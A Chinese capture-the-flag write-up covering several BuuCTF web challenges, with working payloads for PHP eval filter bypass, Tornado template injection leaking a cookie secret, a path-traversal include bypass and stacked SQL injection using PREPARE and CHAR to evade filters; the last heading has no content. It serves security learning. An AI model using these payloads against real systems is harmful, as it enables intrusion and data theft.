BuuCTF平台部分WebWP

0x01 Easy Calc

-RoarCTF 2019

页面是一个需要输入计算式的计算器

查看源码

<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>

提示存在WAF还有calc.php页面,访问calc.php

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

我们需要绕过WAF的过滤,并且payload中不能存在黑名单里的字符,直接传入参数会403,需要对执行的payload进行URL编码,百度查看文章发现,php当传入的参数为“ num”时可执行函数命令

测试payload:

calc.php? num=phpinfo()

成功执行

构造num读取目录中的文件,可以使用scandir(“/“),但“/”被黑名单过滤了,使用chr(47)绕过即可

payload:

calc.php? num=var_dump(scandir(chr(47)))

继续构造num读取f1agg,payload:

calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

成功读取flag

0x02 easy_tornado

-护网杯

访问页面,由三个文件

./flag.txt    flag in /fllllllllllllag
/welcome.txt render
./hint.txt md5(cookie_secret+md5(filename))

查看文件时url为/file?filename=/flag.txt&filehash=2ef5834c444e6f95441474a46fd3af41,即文件名和一串Hash值

render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面,只需要知道cookie_secret的既能访问flag

测试发现存在error页面,格式为/error?msg=Error,测试下SSTI,尝试/error?msg={{datetime}}

但是不知道去哪里找cookie_secret,参考大佬的wp,cookie_secret在Application对象settings属性中,可以构造payload

/error?msg={{handler.settings}}

得到

'cookie_secret': '2e60cefe-4234-46c1-a35b-9a1cb73682ca'

计算文件Hash值,脚本:

import hashlib

def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()

if __name__ == '__main__':
filename = '/fllllllllllllag'
cookie_secret = '2e60cefe-4234-46c1-a35b-9a1cb73682ca'
print(md5(cookie_secret+md5(filename)))

得到filehash=2a8811b16214cf7e05579daef36e7895,访问flag即可

0x04 WarmUp

-HCTF 2018

源代码提示<!--source.php-->,访问得到源码

 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

发现hint.php,得到提示flag not here, and flag in ffffllllaaaagggg

开头部分要求设定了$page,且$page的内容要在whiteList里。

mb_substr($page,0,mb_strpos($page,'?','?'))表示以?分割然后取出前面的字符串再判断值是否存在于whilelist中。

接着对$page进行一次URLdecode之后,再判断一次。

最后当以下三个条件同时为真时,包含file

$_request['file']不为空

$_request['file']是字符串

上面定义的checkfile方法返回值为真

最终payload:?file=source.php?/../../../../../ffffllllaaaagggg

0x05 随便注

-强网杯 2019

堆叠注入,参考SQL Injection8(堆叠注入)——强网杯2019随便注强网杯-supersqli一题三解

堆叠注入原理:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会一起执行。因此这个想法也就造就了堆叠注入

输入1',不回显,输入1'#,正常回显,尝试union select联合注入时,返回一个正则过滤规则,几乎所有常用的字段都被过滤了

尝试堆叠注入,1;show databases;#

成功执行,查询表,1';show tables;#,查询出两张表

分别查询两张表中的字段

1';show columns from `1919810931114514`;#
1';show columns from words

发现flag字段在1919810931114514表

接下来查看flag参考了大佬wp的操作

prepare语句,三个基本语法

PREPARE stmt_name FROM preparable_stmt;

EXECUTE stmt_name [USING @var_name [, @var_name] ...];

{DEALLOCATE | DROP} PREPARE stmt_name;

这三个语句分别的意思是:

  1. 把预处理的语句preparable_stmt赋值给变量stmt_name
  2. 执行预处理的语句,若其中有(即有空缺),则使用后面的变量来进行顺序填补
  3. 取消对变量的预处理语句的赋值

char()函数,语法CHAR(N,... [USING charset]),即将括号内的数字用,分割,而且可以使用'number',这个时候,就会取整,依然会进行转换。但是这里要提到一点,由char函数转化出来是作为字符串处理的,因此也就导致了,即使通过这个方式组合出了绕过waf的SQL语句,也因为是字符串而无法执行。这时候就可以通过PREPARE来将字符串转变为合法的语句,来执行

构造payload

1';Set @test=concat(CHAR(115,101,108,101,99,116,32),CHAR(102,108,97,103,32),CHAR(102,114,111,109,32),CHAR(96),1919810931114514,CHAR(96));Prepare test from @test;execute test;#

注意,本题中使用了strstr()函数,过滤了setperpare,使用大写绕过即可

再次查询

0x06 EasySQL

-SUCTF 2019